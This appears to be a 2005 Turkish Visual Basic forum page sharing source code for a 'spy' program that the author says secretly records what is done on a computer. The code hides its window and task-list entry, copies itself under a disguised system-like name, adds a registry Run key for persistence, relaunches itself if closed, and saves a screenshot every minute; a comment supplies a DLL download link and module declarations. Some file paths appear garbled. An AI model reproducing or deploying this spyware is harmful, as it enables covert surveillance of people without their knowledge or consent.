Favorilerine Ekle | Giriş Sayfan Yap | Tavsiye Et

 

Kurs Tanıtım Sayfası | Süper Üye Kimdir? | Menü Tasarımı Konulu Örnek Ders
Kod İndir| Hazır Kodlar | Makaleler| İpuçları | VB .NET Kursu | Dersler | Forum | Alt Bölümler | Servisler
    Merhaba Misafir
    anasayfa » visual basic hazır kodlar » CASUS BY BACO
Üye Girişi
Kullanıcı Adı:  
Şifre : 
Kaydet ?
Siteden tam olarak faydalanabilmek için üye olmalısınız.
Unuttuğunuz şifrenizi öğrenebilmek için kayıt sırasında verdiğiniz Hatırlatma Cevabı'nı bilmeniz gereklidir.
Şifre hatırlatma işlevini sadece 3 defa kullanma hakkınız vardır.
Kullanıcı adını ve şifresini unutan üyelere email ile yardım verilmez.

Aktivasyon Gelmedi mi?Aktivasyon mesajınız email adresinize gelmedi mi?
Buraya tıklayarak bir kez daha aktivasyon mesajı gönderilmesini sağlayabilirsiniz.
Lütfen email hesabınızın BULK ve SPAM klasörlerini de kontrol ediniz.
Rastgele Makale

DATAGRİD KOPYALAMA VE SİLME İŞLEMLERİ

Yazar: naimnaim

Webmasterlar
Sitenize Ekleyin!
Sitenizde "Son Eklenen 10 Visual Basic Yazısı"'nı göstermek ve içeriğini zenginleştirmek için buraya tıklayınız.

Vbasicmaster.com'a link verin!
Aşağıdaki minik banneri sitenize eklemek için tıklayın!

Üye Sayısı:
Ziyaretçiler nerede?
Yayın № : 4040
Yayın Tar:17.08.2005
Yazar : gezgin18
Hit :3467

Bu Yazarın Yazıları Sadece bu yazarın  göster
Bu Yazıyı Tavsiye Et

MERHABA ARKADAŞLAR :)


Arkadaşalr bu program ekran görüntüsü yakalyarak bilgisayarınızda neler yapıldığını kaydediyor.

Program ilk çalıştırılmasında kendini registrye yazıyor böylece bilgisayar her açıldığında otomatik olarak devreye giriyor.Çalışmaya başladığı anada ekran resimlerini çekerek kaydediyor.Tabi kullanıcı bunun farkında olmuyor..

Aşağıdaki kodlarda ekran resmi çekiliyor ve JPEG formatına çevrilip kaydediliyor..Bunun nedeni BMP formatındaki resimlerin sabit disk te fazla yer kaplamasıdır.Biz bu resimleri JPEG formatına çevirerek resimlerin fazla alan kaplamasını önlüyoruz.

Programdaki tek sorun JPGutils.dll dosyasına ihtiyacınız olmasıdır.Bu dll dosyası resimlerin jpg formatına çevrilmesini sağlıyor..Ama bu dosyayıda ek olarak size veriyorum.

Aşağıdaki link ten jpgutils.dll dosyasını indirebilirsiniz.İndirdiğiniz bu dosyayı ya programınızla aynı klasör içine koyun yada windows içerisinded ki system32 klasörü içerisine kopyalayın...

Formunuza sadece 1 Timer nesnesi koyun..Timer1

İşte kodlar..Kopyala yapıştır yapabilirsiniz....

Dim a As Long
Dim yol, ad, TamYol, yol2
Option Explicit
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Sub Form_Load()
Timer1 = True 'Timer i aktif yap
Timer1.Interval = 60000 'her 1 dakikada resim çek
Me.Hide 'formu gizle
App.TaskVisible = False 'CTRL+ALT+DEL yapildığında programım gözükmesin
Dim KayitDefteri As Object 'Kayıtdefderi nesnesi tanımla
On Error Resume Next 'c sürücünde window klasörü varsa bir sonraki komuta geç
MkDir "C:windows" 'c de windows klasörü yoksa oluştur...
On Error Resume Next
MkDir "C:/windows/twain32" 'windows klasörü içerisine twain32 klasörünü oluştur
yol = App.Path 'program yolunu belirle
ad = App.EXEName & ".exe" 'program yoluna program adını dahil et
TamYol = yol & "" & ad 'programın bulunduğu nokta
FileCopy TamYol, "C:windows    wain32sys.exe" 'program kendini windows içerisine kopyalar
yol2 = "C:windows    wain32sys.exe" 'registry yolu belirtilir
Set KayitDefteri = CreateObject("wscript.shell") 'program registrye yazılır
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" & "sys", yol2
End Sub

Private Sub Form_Terminate()
Shell yol2 'programını z kapatılırsa tekrar kendini çalıştırır.
End Sub

Private Sub Timer1_Timer()
a = a + 1
Call keybd_event(vbKeySnapshot, 0, 0, 0) 'ekran fotoğrafı çekilir..
DoEvents ' Çekilen Resmin Kopyalanması içIn Bilgisayarı beklet
SavePicture Clipboard.GetData(vbCFBitmap), "" & App.Path & "" & a & ".bmp" 'resim programın bulunduğu klasöre kaydedilir.
'Alt kısmda kaydedilen resim Jpeg formatına dönüştürülür...
Dim retval As Integer
On Error Resume Next
ConvertBMPtoJPG App.Path & "" & a & ".bmp", 60, True 'jpeg formatındaki resim kaydedilir
On Error Resume Next
Kill App.Path & "" & a & ".bmp" 'BMP uzantılı resim silinir

End Sub

Umarım işinize yarar......Kolay gelsin...
red_eye18@hotmail.com
gezgin 18


]




Yorumlar, eklemeler ve düşünceler
        Arkadaşlar jpgutils.dll için link i ve modül için gerekli kodları yakında eklicem kusura bakmayın...

   gezgin18, 18.08.2005 17:21
   JPGutil.dll için link aşağıda

http://rapidshare.de/files/4155388/JPGUtils.rar.html

Modül için kod aşağıda

Public Declare Function getDesktop Lib "JPGUtils.dll" (ByVal nWidth As Integer, ByVal nHeight As Integer, ByVal blnJpeg As Boolean, ByVal JPGCompressQuality As Integer, ByVal strFileName As String) As Integer
Public Declare Function ConvertBMPtoJPG Lib "JPGUtils.dll" (ByVal strFileName As String, ByVal JPGCompressQuality As Integer, ByVal blnKeepBMP As Boolean) As Integer
Public Declare Function ConvertJPGtoBMP Lib "JPGUtils.dll" (ByVal strFileName As String, ByVal blnKeepJPG As Boolean) As Integer




   gezgin18, 19.08.2005 22:00
© Hakan Ersöz 2000-2013| Üyelik Sözleşmesi | | Ödeme Bildirimi
Sitemizden yenilikleri hemen öğrenin, pop upları engelleyin, chat yapın... ToolBarımızı indirin:
Vasicmaster Toolbar'ı indirin